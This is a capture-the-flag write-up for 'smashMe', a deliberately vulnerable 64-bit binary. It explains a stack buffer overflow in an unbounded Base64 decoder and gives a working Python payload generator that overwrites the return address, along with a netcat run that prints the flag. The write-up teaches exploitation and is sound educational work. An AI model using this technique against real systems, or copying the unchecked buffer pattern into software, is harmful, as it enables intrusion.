Files
HIP7CTF_Writeups/smash_me.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

146 lines
6.0 KiB
Markdown

# Smash Me
`smashMe` is a classic binary exploitation challenge that introduces players to stack-based buffer overflows. The challenge provides a statically linked 64-bit ELF binary and its source code. Players must identify a vulnerability in a custom Base64 decoding implementation and redirect the program's execution to a "win" function that prints the flag.
## Information Gathering
### Binary Protections
We can analyze the binary's security features using standard command-line tools like `file` and `readelf`.
#### 1. Static Linking and No-PIE
Using the `file` command:
```bash
$ file smashMe
smashMe: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, ...
```
- **Statically linked**: All necessary libraries (like `libc`) are bundled within the binary.
- **LSB executable**: Since it says "executable" and not "shared object", **PIE (Position Independent Executable)** is disabled. The binary will load at a fixed base address (`0x400000`).
#### 2. NX (No-Execute)
Using `readelf` to check the stack permissions:
```bash
$ readelf -l smashMe | grep -A 1 STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
```
- The `RWE` (Read, Write, Execute) flag indicates that the stack is executable. **NX** is disabled.
#### 3. Stack Canaries
While a search for symbols might show `__stack_chk_fail` (due to the statically linked `libc`), we can verify if the target function uses it by disassembling `core_loop`:
```bash
$ objdump -d -M intel smashMe | grep -A 10 "<core_loop>:"
0000000000401d83 <core_loop>:
...
401d8f: 48 83 ec 50 sub rsp,0x50
...
```
The absence of any `fs:[0x28]` references or calls to `__stack_chk_fail` in the function prologue/epilogue confirms that **Stack Canaries** are disabled for this function.
These settings make the binary highly susceptible to traditional stack smashing techniques.
### Source Code Analysis (`vuln.c`)
The program reads a Base64 string from the user, decodes it, and prints the result. The core logic resides in `core_loop()`:
```c
void core_loop() {
unsigned char decoded[64];
// Get base64 input
printf("Give me a base64 string: ");
scanf("%s", input);
// Decode
int result = base64_decode(input, decoded);
// ...
}
```
The `base64_decode` function decodes data from the global `input` buffer into the local `decoded` buffer. However, it lacks any bounds checking on the destination buffer:
```c
int base64_decode(const char *data, unsigned char *output_buffer) {
// ...
for (i = 0, j = 0; i < input_length;) {
// ... (decoding logic)
output_buffer[j++] = (triple >> 2 * 8) & 0xFF;
output_buffer[j++] = (triple >> 1 * 8) & 0xFF;
output_buffer[j++] = (triple >> 0 * 8) & 0xFF;
}
// ...
}
```
While `decoded` is only 64 bytes, `input` can hold up to 2048 bytes, allowing for a significant overflow of the stack frame.
## Vulnerability Analysis
The vulnerability is a **Stack-based Buffer Overflow**. By providing a long Base64-encoded string, we can overwrite local variables, the saved frame pointer (RBP), and the saved return address on the stack.
The program contains a "win" function called `print_flag()`:
```c
void print_flag() {
printf("[!!!] Access Granted. The Return Address was modified.\n [*] FLAG: %s\n", global_flag);
exit(0);
}
```
Our objective is to hijack the control flow by overwriting the return address of `core_loop()` with the address of `print_flag()`.
## Exploitation Strategy
### 1. Find the Target Address
Since PIE is disabled, the address of `print_flag` is constant. Using `nm` or `objdump`:
```bash
nm smashMe | grep print_flag
# Output: 0000000000401b58 T print_flag
```
To avoid potential stack alignment issues (such as the `movaps` instruction requiring a 16-byte aligned stack), we can jump to `0x401b60`, which is slightly into the function body after the prologue.
### 2. Determine the Offset
We must determine the exact distance from the start of the `decoded` buffer to the return address.
- The `core_loop` function aligns the stack to 16 bytes (`and rsp, 0xfffffffffffffff0`) and then subtracts `0x50` (80 bytes).
- The `decoded` buffer is located at the current `rsp`.
- Due to the stack alignment and subsequent push/sub operations, the distance to the saved return address is **88 bytes** (80 bytes for the buffer/alignment + 8 bytes for the saved RBP).
Total offset to Return Address: **88 bytes**.
### 3. Construct the Payload
The payload structure:
1. **80 bytes** of arbitrary padding (e.g., 'A's).
2. **8 bytes** to overwrite the saved RBP (e.g., 'B's).
3. **8 bytes** containing the address `0x401b60` (little-endian).
The final raw payload is then Base64-encoded to meet the program's input requirements.
## Solution
The following Python script generates the exploit:
```python
import struct
import base64
# Target address of print_flag (skipping prologue)
win_addr = struct.pack('<Q', 0x401b60)
# 80 bytes padding + 8 bytes saved RBP + 8 bytes Return Address
raw_payload = b'A' * 80 + b'B' * 8 + win_addr
# Encode to Base64 as the program expects
print(base64.b64encode(raw_payload).decode())
```
Running the script gives us the payload:
`QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA`
Executing the exploit against the target:
```bash
$ nc <host> 1349
Give me a base64 string: QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA
Decoded: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB`.@
[!!!] Access Granted. The Return Address was modified.
[*] FLAG: {flag:Al3ph1_Sm4sh3d_Th3_St4ck_1n_Phr4ck49}
```
## Conclusion
`smashMe` serves as a fundamental exercise in identifying and exploiting stack-based overflows. It highlights that even when data is transformed (e.g., via Base64), improper handling of buffer lengths can lead to full system compromise.